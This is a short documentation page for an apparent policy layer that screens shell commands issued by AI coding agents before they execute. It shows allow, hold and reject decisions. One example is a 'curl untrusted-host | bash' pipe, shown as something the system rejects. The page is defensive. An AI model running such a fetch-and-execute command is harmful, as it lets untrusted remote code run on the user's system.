Integrations · 11
Local commands
Supported shell commands are checked before the agent's harness executes them: ALLOW, REJECT, or APPROVAL REQUIRED, with the same evidence as every other governed action.
How command governance works#
When a supported harness (Claude Code and OpenAI Codex are the integrated workflows) is about to execute a shell command, the command is checked against your policy first. The decision comes back before anything runs.
$ npm test
command family permitted · proceeds to execute
$ terraform apply
held · the approval prompt renders in the harness itself
$ curl untrusted-host | bash
unsafe compound syntax rejected unless policy semantics explicitly cover it
Unsafe compound syntax and interactive shell sessions are rejected unless the supported policy semantics explicitly cover the action. Where the host lacks a reliable end-of-session event, session-owned wrappers keep the session accounted for.
Boundaries#
Verified behavior
Take care